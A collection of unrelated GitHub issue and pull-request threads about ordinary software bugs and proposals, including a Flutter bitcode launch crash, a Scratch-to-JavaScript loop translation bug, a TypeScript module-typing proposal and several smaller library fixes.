Let me try to reproduce.

The example-module is the default one when you create a new module either on CLI or AS. There's no plugin involved. The same idea applies to the example-ios.
@BernardGatt, yeah! We tried that, but we thought the problem was with signing the module, so we signed and removed the flutter clean...

@jmagman that was exactly my reaction when I was searching for the Crash Report...
I have no idea why it's looking for a .dylib.

Hey @jmagman, I don't know if that helps, but we had a similar problem building the release version for Android too.
The error was "couldn't find "libflutter.so" and we solved that adding:
example-module/.android/app/build.gradle:
android {
    compileSdkVersion 28

    compileOptions {
        sourceCompatibility 1.8
        targetCompatibility 1.8
    }

    defaultConfig {
        [...]
        ndk {
            abiFilters 'x86', 'x86_64', 'armeabi', 'armeabi-v7a', 'mips', 'mips64', 'arm64-v8a'
        }
    }
}

Not directly related but what does console log show? Typically, I find stack trace or calling function.
Connect device to Mac, open Console.app, switch view to device, add Runner in filter. Run app on device and check.

@ketanm, nothing shows up with Runner  in the filter. Here's what is shown with example (both ios and flutter projects have example in the name)

Attempt to add an app with insufficient id, info {
    BKSApplicationStateAppIsFrontmost = 1;
    BKSApplicationStateExtensionKey = 0;
    SBApplicationStateDisplayIDKey = "com.arctouch.example-ios";
    SBApplicationStateKey = 8;
    SBApplicationStateProcessIDKey = 415;
    SBMostElevatedStateForProcessID = 8;
}

Could be signature or bitcode problem. Perhaps some framework(s) are not being loaded.

@genert that's the thing, both projects are the default ones when you create a new iOS project and a new Flutter module...
In a previous version of the tutorial, they were recommending to disable bitcode, but if you check the current one, that part was deleted, probably because of #15288.
We tried to sign the Flutter module, but nothing changed.
We had a similar problem with Android where Flutter wasn't being loaded, something very similar to this. And we were able to solve with the abiFilters that I mentioned in the comment above.
I think the biggest question here is why ./libFlutter.dylib is not being found.

@arctouch-matheusromao  - this is interesting.
I saw some regression where dependency is now part of the code but it failed to work. Did you try to still follow old tutorial and try it out?
In your shared image, I see lot of exceptions being thrown. If you can enable all logs, not just asserts and filter on com.arctouch.example-ios then it may show where it is being called. Alternatively, if not already done, just search libFlutter.

Hey @ketanm, sorry for answering only today. I followed your suggestion to try it with Bitcode disabled and it worked! 🎉Thanks for the observation.
It's great that it works on a sample project like this. But my question now becomes: how could we proceed on a real project that requires Bitcode to be able to be uploaded to the store, for example. This would still be a blocker in projects like that because then simply disabling Bitcode would not be an option.
Maybe @dnfield can confirm how soon Bitcode support will be added to add-to-app.
@jmagman, in the meantime, could you guys please add again in the tutorial the part requiring Bitcode to be disabled? It will help new users trying the modules.
Thanks guys!

I wasn't able to reproduce this on 1.10.15-pre.127, at least from Xcode 11.2 beta:

flutter create -t module example_module
Create new iOS Swift app named example_ios.
Delete SceneDelegate.swift
Delete UIApplicationSceneManifest from Info.plist to avoid [WindowScene] There is no scene delegate set. A scene delegate class must be specified to use a main storyboard file. launch error.  I assume this was done since this is working in Debug, just not Release
pod init in example_ios.
Paste exactly the originator's Podfile.
pod install
Run on iPhone in Release from Runner.xcworkspace

No launch issues, can hit the button and the Flutter gallery demo app shows up.  ENABLE_BITCODE wasn't touched, it's still YES in example_ios app.

It didn't reproduce running from Xcode, but it did after I archived and installed the ipa:
Termination Description: DYLD, dependent dylib './libFlutter.dylib' not found for '/private/var/containers/Bundle/Application/13D79995-C006-4757-A69D-84BAD1864E9C/example_ios.app/example_ios', tried but didn't find: './libFlutter.dylib' '/usr/local/lib/libFlutter.dylib' '/usr/lib/libFlutter.dylib'

@dnfield Did you see this issue in your bitcode journeys?

@chinmaygarde says: "My best guess as to what is happening is that we change the install name of the Flutter engine dylib after the dylib is created. Now, if a bag of bitcode is shipped instead of a dylib, there needs to be some way of doing the name update when it finally materializes into a dylib on the target device."

This isn't specific to add-to-app, and can be reproduced with a normal flutter app by setting ENABLE_BITCODE=YES
$ flutter create test_bitcode
$ cd test_bitcode
$ flutter build ios
$ open ios/Runner.xcworkspace

Runner > Build Settings > Development Team > whatever, I used FLUTTER.IO LLC
Runner > Build Settings > Enable Bitcode > Yes
Product > Archive
Window > Organizer > Archive > Choose archive you just made
Distribute App > Development > make sure Rebuild from Bitcode is checked > Next > Next
Export
Window > Devices and Simulators
Drag that exported Runner.ipa onto a real iOS device
Launch test_bitcode app on the iOS device
💥 Crash!

@jmagman, in the meantime, could you guys please add again in the tutorial the part requiring Bitcode to be disabled? It will help new users trying the modules.

Done. https://github.com/flutter/flutter/wiki/Add-Flutter-to-existing-apps#add-your-flutter-app-to-your-podfile

Thanks @jmagman, for all the support! 👏

Same issue. Any progress?

I was pretty sure I had tested this, but I'll try it again.  I may have focused more on testing that archiving worked.

I'm able to reproduce this now as well (had to wrestle with Xcode after updating my iOS version :D).
The problem is that Bitcode is changing the install path, as @chinmaygarde suspected:
unzip Runner.ipa
otool -l Payload/Runner.app/Runner

...
Load command 13
          cmd LC_LOAD_DYLIB
      cmdsize 48
         name ./libFlutter.dylib (offset 24)
   time stamp 2 Wed Dec 31 16:00:02 1969
      current version 0.0.0
compatibility version 0.0.0
...

Trying to figure out if the fix is in some flag to recompilation (I don't think so), or something in the way we build it for the engine...

/cc @gaaclarke who was interested in this as well

Currently, we undertake a two step process to change the install name of a dylib. This should be possible to do in one step if -Wl,-install_name is specified to the compiler driver during the link phase. I wonder if this doing this in a single step makes the load command survive in the bitcode bundle.

I believe it does - working on proving that out locally right now

https://github.com/flutter/engine/pull/13428 Will fix this.
Unfortunately, until that lands in the framework, it will not be possible to ship bitcode enabled apps to the store - unless you build your own engine with that patch.

Thank you very much for your time and hard work guys!
The good news is that we can move forward without bitcode temporarily, but it's even better now that we know it's fixed.
Is there an ETA or roadmap that we can follow to know when the fix will land?

I just tested @dnfield's changes, and I no longer see a crash on launch.  His change is on master and dev channels.
@arctouch-matheusromao are you able to test and confirm it's fixed?  I would love to remove the "turn off bitcode" instructions.

Hey @jmagman, sorry for the late response! I haven't had time to test it yet, but I'll try today. I'll let you know as soon as I have the results.

@jmagman, I just confirmed that it's working with Bitcode on v1.10.17-pre.63 🎉Thank you!

@jmagman, I just confirmed that it's working with Bitcode on v1.10.17-pre.63 🎉Thank you!

Woo!  I reverted the bitcode add-to-app templates and the instructions from the wiki.  Thanks for your help with this!


Translation for repeat blocks is incorrect

LeopardJS coverts Scratch's 'repeat n times' block in to a for loop, like this:
for (i=0; i < n; i++) {
   //code
}

However, this translation is invalid when it comes to n being non-static, as while Scratch 3 only calculates it once and keeps the value, leopard will calculate it at each iteration of the loop.
for (i=0; i < (someValue - someOtherValue); i++) {
   //code
}

I encountered this issue when I was converting a project with looped through the length of a list minus a variable, and changed the variable inside the loop.
An easy fix would be to have a variable before the for loop:
var tmp = (someValue - someOtherValue);
for (i=0; i < tmp; i++) {
   //code
}

Yeah, good catch. There's a bit of a philosophical trouble over this, and it has to do with how much we translate (and thus detect) Scratch programming constructs into analogous JavaScript constructs, to the ends of trying to teach more of JavaScript the way you'd see it in the real world.
For example Scratch doesn't have the basic for construct in JavaScript or other languages, which is in its general form quite complicated: "starting from an initial state, looping until a certain condition is met, performing a certain iterating action, and taking these statements for each iteration..." Instead it's just got "repeat N times" and "repeat until condition". The latter is almost directly analogous to while (it's only flipped), but the ƒormer doesn't have a direct analogy in most languages, JavaScript included.
A "simple" fix would be to try to determine if the value in the repeat block's input is static. This could be as simple as checking if it's a number or as complex as checking if it's a reporter expression which only depends on variables, lists, or other values that certainly won't be mutated over the course of the repeat block's evaluation. (Not impossible to guess at, but definitely not trivial.)
// scratch: repeat (10) ...
for (let i = 0; i < 10; i++) { ... }

// scratch: repeat ((4) + (6)) ...

// Could translate like this:
for (let i = 0; i < 4 + 6; i++) { ... }

// Or like this:
let times = 4 + 6;
for (let i = 0; i < times; i++) { ... }

// scratch:
// set index to 1
// repeat length of my list:
//   say item index of my list
//   change index by 1

// Could translate like this:
for (this.index = 1; this.index < this.myList.length; this.index++) {
  this.say(this.myList[this.index - 1]);  // or whatever
}

// Or like this:
this.index = 1;
const times = this.myList.length;
for (let i = 0; i < times; i++) {
  this.say(this.myList[this.index - 1]);  // or whatever
  this.index++;
}

// scratch:
// repeat length of my list:
//   add pick random 1 to 100 to my list

const times = this.myList.length;
for (let i = 0; i < times; i++) {
  this.myList.push(random(1, 100));  // or whatever
}

And then there's the boring way that we, unfortunately, have to fall back to sometimes, mostly when Scratch behavior is particularly unique and not able to be represented concisely. You can do something similar for the "repeat" loop:
this.repeat(10, () => {
  ...
});

this.index = 1;
this.repeat(this.myList.length, () => {
  this.say(this.myList[this.index - 1]);  // or whatever
  this.index++;
});

this.repeat(this.myList.length, () => {
  this.myList.push(random(1, 100));  // or whatever
});

Despite having a certain kind of elegance, this is patently awful for actually teaching JavaScript. The trouble is that this here below really isn't much better.
this.index = 1;
const times = this.myList.length;
for (let i = 0; i < times; i++) {
  this.say(this.myList[this.index - 1]);  // or whatever
  this.index++;
}

Static code analysis is a longer term potential direction of sb-edit (and Leopard, really) that we haven't taken a lot of time to dig into because it's a major project and everyone developing sb-edit has been busy with other projects. And without a good amount of infrastructure or utilities for performing that analysis, it's just impossible to greedily translate code to analogous JS without risking breaking programs.
I've moved this issue over to sb-edit since that's what is in charge of actually converting Scratch projects. You're right in pointing out a bug: existing projects with reporters in the "if" block don't work. For now I think we're best off having a special-case for if the input is a number (not a block), which will behave like it currently does, and in all other cases we store the number of times in a temporary variable, as you suggest.
On a practical note, for now, the times variable has to be declared in the for loop (as part of the initial state). This isn't a common code practice per se, but it's necessary to avoid scoping problems - we currently hard-code the name i in for (let i = ...) and that's only acceptable because i is scoped into the for loop, not the function scope or containing block scope - either of which there would be issues if there were two repeat blocks in one script.
this.index = 1;
for (let i = 0, times = this.myList.length; i < times; i++) {
  this.say(this.myList[this.index - 1]);
  this.index++;
}


Added testing requirements to design document

Pull request to add a requirements section in the design document.  The design hasn't yet been updated based on the requirements, but I think a useful exercise would be to get the requirements validated by the wider community before working on the design

Thanks @binnes - I think this provides a good set of requirements for the testing feature and helps to identify what is in-scope of the work.
Given this is a 'living' document that will continue to evolve, I'm happy to merge these changes so we can move forward.


ApiClient class not found

I am getting this
Fatal error: Class 'ApiClient' not found

Hey dazzcreations. Have you included the /vendor/autoload.php file yet?
require_once DIR.'/vendor/autoload.php';

Yes I already did.
On Aug 10, 2015 7:32 PM, "Travis Raup"<EMAIL_ADDRESS>wrote:

Hey dazzcreations. Have you included the /vendor/autoload.php file yet?
require_once DIR.'/vendor/autoload.php';
—
Reply to this email directly or view it on GitHub
https://github.com/cleentfaar/slack/issues/33#issuecomment-129465292.

and did you include/import the ApiClient namespace/alias at the top of your script?
use CL\Slack\Transport\ApiClient;

@dazzcreations Sorry for the late reply. Is this still an issue for you?

@dazzcreations Closing this due to inactivity, please let me know if this is still a relevant issue and I will reopen it

I had this issue too and @raupie's comment about including use CL\Slack\Transport\ApiClient; at the top of my script fixed it. That's a key bit of info that should be in Usage documentation.

Likewise I just had to include use CL\Slack\Payload\ChatPostMessagePayload; too, to get around "Fatal error: Class 'ChatPostMessagePayload' not found".


[SUGGESTION] Add scripts to automate installing of dependencies

This is just a minor thing that isn't needed, but I think it would be nice to have bash/batch scripts to install the dependencies all in one go (pun intended).

Ah, I didn't realize that was the mentality behind the project. That makes sense. Feel free to close this issue if you want

It's all good, no worries c:


Test multi-node DPO

Some notes:

Internal experiment example on multi-node IFT
Config for multi-node IFT

I'll add more updates as I try this.

This works, closing stale issue. Configs in configs


Fix: Remove blur action from orderable controller

Fixes #https://github.com/wagtail/wagtail/pull/11250
Issue: https://github.com/wagtail/wagtail/issues/10909
CC: @lb-
Removed blur action from from _ordering_cell.html and blur action support from orderable stimulus controller.

[x] Do the tests still pass?[^1]
[x] Does the code comply with the style guide?
[x] Run make lint from the Wagtail root.

@salty-ivy thank you. Are you able to update the aria description in the page listing file also.
https://github.com/wagtail/wagtail/blob/5c412d45c9016f8bbcdf00060d513770f7345c46/wagtail/admin/views/pages/listing.py#L325
Maybe something like. ...

Focus on the drag button and press up or down arrows to move the item, then oress enter to submit the change.

Alright I will add this in some time may be in an hour or so if that's fine.

All ready 👍


[Proposal] External Module Type

Introduction
Currently, TypeScript allows to ensure typings on differents levels using type, interface or class.
There are numbers of scenarios where we want to ensure typings on the module level.
Scenario 1: Module Interface
Many libraries can be extended using plugins which are loaded as modules.
These libraries' maintainers could define an interface which should be implemented by the module.
// mylib.d.ts
export interface IPlugin {
    init(): void;
    build(context: PluginContext): boolean | PromiseLike<boolean>;
    dispose?: () => void;
}

//plugin.ts
import { IPlugin, PluginContext } from "mylib";

export implements IPlugin;
                    ^^^ ERR: Module does not implement "IPlugin". Missing members: "init".

export function build(context: PluginContext) { return false; }

Scenario 2: Module proxy
Imagine a library which abstract RPC services. On the server part, you define services as modules and on the client part, you get Promised proxies of these services which you can use to remote call your service methods.
// myrpclib.d.ts
export type Deferred<T> = { [P in keyof T]: Promise<T[P]>; };
export function createClient<T>(url: string): Deferred<T>;

// services/entity.service.ts
export function getAll(): Promise<Entity[]> { /* ... */ }
export function getOne(id: string): Promise<Entity> { /* ... */ }
export function create(entity: Entity): Promise<Entity> { /* ... */ }
export function update(entity: Entity): Promise<Entity> { /* ... */ }
export function remote(id: string): Promise<void> { /* ... */ }
export function sync(id: string): Entity { /* ... */ }

// clients/client1.ts
import { createClient } from "myrpclib";
type RemoteService = typeof module("../services/entity.service");
const client = createClient<RemoteService>("http://host/entity.service");

Scenario 3: Inline module typing
By extending the preceding scenario, we could imagine that the library also provides a module loader plugin for its managed services.
// myrpclib.d.ts
declare module "rpc!*" {
    const res: any;
    export default res;
}

// clients/client2.ts
type RemoteService = typeof module("../services/entity.service");
import client from "rpc!host/entity.service" as Deferred<RemoteService>;

Scenario 4: Wildcart module typing
This time, we have a library that proxy services in a Web Worker.
// myrpclib.d.ts
declare module "worker!*" {
    const res: Deferred<typeof module("*")>;
    export default res;
}

// clients/client3.ts
type RemoteService = typeof module("../services/entity.service");
import client from "worker!../services/entity.service";

client.getAll().then(/* ... */);
client.sync().then(/* ... */);
// client type is "Deferred<typeof module("../services/entity.service")>";

Language Features
Syntatic
What is the grammar of this feature?

[ ] export implements IPlugin (could be written implements IPlugin)
[ ] typeof module("module/path")
[ ] import myModule from "myModule" as Type
[ ] typeof module("*") in wildcart module definition

Are there any implications for JavaScript back-compat? If so, are they sufficiently mitigated?

[x] No backward compatibility implications

Does this syntax interfere with ES6 or plausible ES7 changes?

[x] No conflicting keywords

Semantic
What is an error under the proposed feature? Show many examples of both errors and non-errors
//export implements...
// Same as an interface

//typeof module("module/path");
type Moduletype = typeof module("module/path"); // OK
type UnknownModuleType = typeof module("unknown/module");
                                          ^^^^  // COMPILER ERROR: "unknown/module" does not exists

const test: typeof module("module/path");  //OK
function test(): typeof module("module/path"); //OK
function load(name: string): typeof module(name); //OK

//import module as
import myModule from "myModule" as Type; //OK
import * as myModule from "myModule" as Type; //OK
import * as unknown from "unknown" as Type; //OK
import { someMember } from "myModule" as Type;
                                          ^^^^  // COMPILER ERROR: Only default and global import are allowed!

//typeof module("*")
declare module "proxy!*" {
    const res: typeof module("*"); // OK
    export default res;
}

type myType = typeof module("*");
                            ^^^^  // COMPILER ERROR: module "*" does not exists

How does the feature impact subtype, supertype, identity, and assignability relationships?

[ ] Moderate impact
[ ] Modules should be treated as special Interfaces (or special Classes) so they could be used in same contexts and they can interact we others.
[ ] An import could be typed

How does the feature interact with generics?

[x] Limited impact
[x] If a module will become a type (like an Interface is), it should interact with generics.

Emit
What are the effects of this feature on JavaScript emit? Be specific; show examples

[x] No effect

Does this emit correctly in the presence of variables of type ‘any’? Features cannot rely on runtime type information

[x] No emit difference

What are the impacts to declaration file (.d.ts) emit?

[x] Limited impact
[ ] declaration file should contain export implements... informations

Does this feature play well with external modules?

[x] Exclusively for external modules

Compatibility
Is this a breaking change from the 1.0 compiler? Changes of this nature require strong justification

[ ] New keywords are introduced but it is only typings utilities

Is this a breaking change from JavaScript behavior? TypeScript does not alter JavaScript expression semantics, so the answer here must be “no”

[x] No

Is this an incompatible implementation of a future JavaScript (i.e. ES6/ES7/later) feature?

[x] No

Other
Can the feature be implemented without negatively affecting compiler performance?

[x] Yes

What impact does it have on tooling scenarios, such as member completion and signature help in editors?

[ ] Moderate impact

TODO

[ ] Get validation from the community
[ ] Get feedback from the community and improve spec
[ ] Add more exemples if needed
[ ] Implementation details

One thing about this proposal is that it only enforces a contract between a module and a type - in other words, it only guarantees the values that exist on the module.
Something I would kind of like to see is the idea of a contract on the shape of the module (or namespace) as a whole - a guarantee that a module contains certain values, types, and namespaces. There are definitely other languages that do this, so it's not unheard of.
That said, we don't necessarily have to go down that route.

Indeed, a module interface could shape the entire module (with types and nested namespaces).
But I think a module should also implements a basic type/interface.
Maybe a module interface syntax to separate both ?

Module implementing an interface is already tracked by https://github.com/Microsoft/TypeScript/issues/420. and it is marked as "Accepting PRs".

 typeof module("module/path"), i do not see why not, but the syntax should be different, we do not want it to conflict with https://github.com/Microsoft/TypeScript/issues/6606 (which is also marked as "Accepting PRs"). it would also be useful for scenarios in https://github.com/Microsoft/TypeScript/issues/12364, where module name is computed dynamically.

import myModule from "myModule" as Type not sure why is this useful, the scenario should be covered by either typeof module or by declaring an ambient external module.

typeof module("*") the module wild card feature was not meant to be a parametric module import. the main issue here is that the compiler does things in phases, and module resolution happens much earlier than  type checking, and by that time modules are not there any ways. so i do not think we can do this without re-architectecting the compiler.

dup
i strongly oppose this in favor of unifying modules  (namespaces) with objects per #8358

This also relates to #11611

This also relates to #11611

@aleksey-bykov Even if you unify namespaces with objects, you need additional syntax to ascribe types to external modules (for which the "implementation" is not neatly enclosed, but is instead supplied by scattered export statements).

@masaeedu I believe such types already exist. Consider
// module-a.ts
export default function () {}
export const a = 1;
export let b = 'hello';

// module-b.ts
import * as moduleA from './module-a';

export const a: typeof moduleA = {
  a: moduleA.a,
  b: moduleA.b,
  default: moduleA.default
};

I'm not sure I understand your example. This is not asserting that your
module satisfies an interface, but rather that an arbitrarily constructed
object consisting of the module's members is assignable to the module's
type.
You still can't ascribe a type to the module; the type will be driven by
what you export, and there's no way to dictate right or wrong exports. The
goal is to receive a type error where I do export const x = 2 in a module
that I claim implements { x: string }.
On Sep 19, 2017 8:25 AM, "Aluan Haddad"<EMAIL_ADDRESS>wrote:

@masaeedu https://github.com/masaeedu I believe such types already
exist. Consider
// module-a.tsexport default function () {}export const a = 1;export let b = 'hello';
// module-b.tsimport * as moduleA from './module-a';
export const a: typeof moduleA = {
a: moduleA.a,
b: moduleA.b,
default: moduleA.default
};
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/Microsoft/TypeScript/issues/13231#issuecomment-330522261,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ADgPyHKOSgbA-lGlRHpoc73gXGE-Oijvks5sj7KbgaJpZM4LYUYI
.

@masaeedu, not sure i am following, consider an example below:
const type Ns<T> = {
    type List: List<T>;
    value: number;
}
const ns: Ns<T> = {
    value: 1;
};

I have interface Foo { x: string }. How do I ensure the sum total of
everything I am exporting in myfancymodule is compatible with Foo, and
get type errors on my export statements when this is not the case?
On Sep 19, 2017 9:52 AM, "Aleksey Bykov"<EMAIL_ADDRESS>wrote:

@masaeedu https://github.com/masaeedu, not sure i am following,
consider an example below:
const type Ns = {
type List: List;
value: number;
}
const ns: Ns = {
value: 1;
};
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/Microsoft/TypeScript/issues/13231#issuecomment-330545513,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ADgPyCrJg_cX0POkpd-qmzI3iPmrar58ks5sj8cPgaJpZM4LYUYI
.

I do not want to deconstruct Foo and scatter it throughout my module definition as type annotations on my export statements. To give an analogy, this is the equivalent of a user asking for object types const obj: { x: string }, and another person saying well you don't need those, you can just do const x: string; const obj = { x }. Sure, in some cases that is fine, but it doesn't subsume the original use case.

How do I ensure the sum total of everything I am exporting in myfancymodule is compatible with Foo

well, as far as the syntax it could have looked like this
namespace myfancymodule : Foo {
}
export = myfancymodule

or better yet (if we unify objects and namespaces)
export const myfancymodule : Foo = {
}

or smily and more idiomatic
export namespace myfancymodule : Foo {
}

@aleksey-bykov it depends. Although namespaces and objects are unfortunately not unified, you can still, by convention establish a type for an export in a single place by creating a declaration and exporting it.
@masaeedu I see what you are getting at now. You want to be able to declare the interface mandated by a module and then receive an error if the contract is broken.

@aluanhaddad although a type can be exported it cannot be closed over other types and it's a huge maintainability pain, consider
namespace T<A extends B, B extends C, C extends D, D extends E, E extends F, F> {
   export type X = (value: A | B | C) => D;
   export type Y = (value: B | C | D) => E;
   export type Y = (value: C | D | E) => F;
}

namespace T {
   export type X<A extends B, B extends C, C extends D, D> = (value: A | B | C) => D;
   export type Y<B extends C, C extends D, D extends E, E> = (value: B | C | D) => E;
   export type Y<C extends D, D extends E, E extends F, F> = (value: C | D | E) => F;
}

@aleksey-bykov that would be very valuable, I think there is an issue open for it actually, #17588, and I was going to write that if objects and namespaces were unified as you propose, that the above behavior would be a pleasant, natural consequence, but I see you have already stated just that there 😁

It seems this is already mostly satisfiable with the typeof import("...") construct?

@Jessidhia You're right. I close the issue


TADA function template?

Is your feature request related to a problem? Please describe.
I was thinking about our conversation about regression testing yesterday, and the basic questions of: what happens when someone inputs an empty dataset or a vector into the function, a dataset missing required column names, etc. etc. and it made me wonder if the TADA package should have a template for writing new functions. The template could have example roxygen2 notation, as well as the basic function QC lines needed to ensure the function can run -- I'm thinking like the TADA_CheckType(), TADA_CheckColumns(), match.arg(), check data format, etc. Are there more of these checks that should be added to the start of EVERY function? Another one I do a lot is a dimension check before/after a data wrangling step: should the dataframe be able to grow/shrink in rows? How does this growth/reduction happen (e.g. duplication of results or creation of new results)? This could be broken down in a small vignette to help contributors.
There could additionally be a testing template as well. What tests apply to all functions, versus which tests are specific to the type of function/output?
Describe the solution you'd like
A clear and concise description of what you want to happen. If possible,
include an example of how you would like to see the code work:
library(TADA)
super_cool_feature(x, y)

Describe alternatives you've considered
A clear and concise description of any alternative solutions or features
you've considered.
Additional context
Add any other context or screenshots about the feature request here.
Reminders for TADA contributors addressing this issue
New features should include all of the following work:

[ ] Create the function/code.

[ ] Document all code using comments to describe what is does.

[ ] Create tests in tests folder.

[ ] Create help file using roxygen2 above code.

[ ] Create working examples in help file (via roxygen2).

[ ] Add to appropriate vignette (or create new one).

Note: work on with https://github.com/USEPA/TADA/issues/397 (create new function to check that df does not grow/shrink & add to range check flag function)


AddressSet toString printing with a line feed character if it's empty

ghidra.program.model.address.AddressSet
On line 669 inside the toString function if AddressSet is empty it will return [empty]\n with a line feed and if it's not empty it wont return that line feed. Is this intended?

This seems unusual.  The newly should probably not be there.


Title: Add Brick Game

Which pre-existing JavaScript project will you be working on?
I will   make new project of Brick Game. This will be a good project for this list.
Describe your enhancement/improvement
I will add brick game. In brick game, a ball will beak the bricks and the game finish when all the bricks are broken other than that the player will try again.
Anything you need to say to the Reviewers
This will add more empact to these projects.
Add any other context or relevant screenshots about the enhancement here.
No response

@swapnilsparsh please assign this issue to me under GSSOC. I will make a  good  Brick  Game and increase the quantity and quality of this project.


Automated cherry pick of #10286: fix(hostdeployer): windows rootfs umount leak

Cherry pick of #10286 on release/3.6.
#10286: fix(hostdeployer): windows rootfs umount leak

Codecov Report

Merging #10288 (dcc24c0) into release/3.6 (b9d30c0) will increase coverage by 10.21%.
The diff coverage is 0.64%.

@@               Coverage Diff                @@
##           release/3.6   #10288       +/-   ##
================================================
+ Coverage         5.86%   16.07%   +10.21%
================================================
  Files              828      124      -704
  Lines           129133    12707   -116426
================================================
- Hits              7577     2043     -5534
+ Misses          120876    10473   -110403
+ Partials           680      191      -489

Flag
Coverage Δ

aFlag
16.07% <0.64%> (+10.21%)
:arrow_up:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

pkg/apis/input.go
0.00% <ø> (ø)

pkg/apis/list.go
0.00% <ø> (ø)

pkg/baremetal/tasks/stop.go
0.00% <0.00%> (ø)

pkg/cloudcommon/db/quotas/errors.go
0.00% <0.00%> (ø)

pkg/cloudcommon/db/quotas/handler.go
0.00% <0.00%> (ø)

pkg/cloudcommon/db/quotas/register.go
11.11% <0.00%> (-2.41%)
:arrow_down:

pkg/cloudcommon/db/quotas/usageworker.go
0.00% <0.00%> (ø)

pkg/cloudcommon/validators/validators.go
62.73% <0.00%> (-0.35%)
:arrow_down:

pkg/compute/guestdrivers/aliyun.go
2.72% <0.00%> (-0.47%)
:arrow_down:

pkg/compute/guestdrivers/apsara.go
13.63% <0.00%> (-0.65%)
:arrow_down:

... and 627 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 33c979d...dcc24c0. Read the comment docs.

/lgtm
/approve


Cannot install Live Server from marketplace as well as vsix

Hi, got this problem, and as usual not sure whats happening, trying to install from marketplace and fail, had to download manually and install from vsix helper popup from visual studio code but no response so far.

suggested manually install

do what asked and no response, trying to restart and no effect.
my vscode :

Thanks.

@sdb7 Can you check where liveserver previously installed or not in your system. Please drive into C:\Users\<USER_NAME>\.vscode\extensions\ritwickdey.liveserver-3.2.0\.... If it is in there remove that folder completely and reinstall then.
If it works then confirm us.

I was having the exact same issue and I can confirm that @rjoydip's solution works. I had three different versions backed up and upon removing them all, reinstalling from VSCode, and then reloading that it works.

Worked for me.


Bug: system\Cache\CacheInterface.php

PHP Version
8.1
CodeIgniter4 Version
4.3.7
CodeIgniter4 Installation Method
Manual (zip or tar.gz)
Which operating systems have you tested for this bug?
Linux
Which server did you use?
fpm-fcgi
Database
No response
What happened?
system\Cache\CacheInterface.php        Missing method ： deleteMatching(string $pattern)
Steps to Reproduce
none
Expected Output
none
Anything else?
none

Yes, the interface does not have the method. But BaseHandler has it.
Closing as the discussion is in #4356

If you want to fix this issue, send a PR to the next minor version branch, now 4.5.


what is minimum SDK for Android?

sorry if this is an ignorant question but I couldn't find this in the documentation
I have been testing the package on Android 34 but then I tried to run it on Android 27 in a simulator and when the camera activates - it goes haywire.

The minimum is 21, which is also the minimum required version for CameraX and Flutter itself.
https://github.com/juliansteenbakker/mobile_scanner/blob/master/android/build.gradle#L49
What are you seeing on the emulator? Since the emulators do not have a camera, they provide a fake preview (the scene with the wood furniture and chessboard wall art). Is your emulator itself throwing errors?

On 27, I am not sure what happens exactly, but it seems it goes into an infinite loop of opening and closing the camera simulator. The screen flickers and the application force closes after a while. I have made sure I "cold reboot" the emulator.
If that is the case in terms of API (being 21) I can try to create a new emulator and see if the issue is still there.
Thanks for getting back to me on this. Appreciate it.


Dear Mr Cannasse

Happy new year, this commit is for you <3

ahah! Par contre ca peut servir ( en cpp le ? sur les float ca fait des
blagues ) : public function play( ?loop = false, volume = 1. ) -> public
function play( ?loop = false, ?volume = 1. )
2016-01-07 17:38 GMT+01:00 deepnight<EMAIL_ADDRESS>
Happy new year, this commit is for you <3
You can view, comment on, or merge this pull request online at:
https://github.com/ncannasse/heaps/pull/140
Commit Summary

Added visible
Added setCenterRatio
Added invalidate
Removed clear
Added missing shortcuts
Added toAtlas
Optional parameter fix
Merge remote-tracking branch 'remotes/ncannasse/master'

File Changes

M h2d/SpriteBatch.hx
https://github.com/ncannasse/heaps/pull/140/files#diff-0 (156)
M h2d/Tile.hx
https://github.com/ncannasse/heaps/pull/140/files#diff-1 (17)
M h2d/TileGroup.hx
https://github.com/ncannasse/heaps/pull/140/files#diff-2 (5)
M hxd/Key.hx
https://github.com/ncannasse/heaps/pull/140/files#diff-3 (26)
M hxd/res/Any.hx
https://github.com/ncannasse/heaps/pull/140/files#diff-4 (4)
M hxd/res/Sound.hx
https://github.com/ncannasse/heaps/pull/140/files#diff-5 (2)

Patch Links:

https://github.com/ncannasse/heaps/pull/140.patch
https://github.com/ncannasse/heaps/pull/140.diff

—
Reply to this email directly or view it on GitHub
https://github.com/ncannasse/heaps/pull/140.

--
David Elahee


opencascade-occt: init at 7.3.0p2

Just a package of the official OpenCASCADE OCCT (not OCE).
Motivation for this change
I was playing a bit with the library, and wanted to store/publish the Nix-expression I wrote along the way somewhere… Later it may be possible to let building FreeCAD, KiCAD, and OpenSceneGraph with either of these distributions (OCCT or OCE). But for now this is just it.
Things done

[ ] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS)
Built on platform(s)

[X] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nox --run "nox-review wip"
[X] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[ ] Assured whether relevant documentation is up to date
[X] Fits CONTRIBUTING.md.

That's nice that you can use a tag! I got it down to just changing the version line.

@GrahamcOfBorg build opencascade-occt

@GrahamcOfBorg build opencascade-occt


Benchmark flux

breakdown of DoubleStreamBlock

latency of running each block

double block : 5.7.ms (eager) -> 3.9ms (compile)
single block : 5.4ms (eager) -> 3.6ms (compile)

there are 19 double blocks and 38 single blocks


Small questions

Lines 173 & 179 "Assessments" is now lowercase and I'm wondering how the grab_qa_for function work's I see they are md files but are we suppose to import them from somewhere?
Thanks!

Fixed by creating folder from https://github.com/Ebazhanov/linkedin-skill-assessments-quizzes , also some might fail due to quiz name changes but can be easily fixed


Export Error.Timeout for cleaner code

See: https://github.com/Stotz-Equipment/goreq/commit/94bbc8ac607112560b7e82b9dc1b0b09885d2bb7
I don't see the benefit of making timeout a private variable in the Error struct.   We can simplify the code by exporting Timeout and removing the getter method Timeout()
I also modified the grouping of variables per what is being done in the golang project: https://github.com/golang/go/blob/master/src/bufio/bufio.go#L21-26  but I don't how strictly they adhere to that coding style.

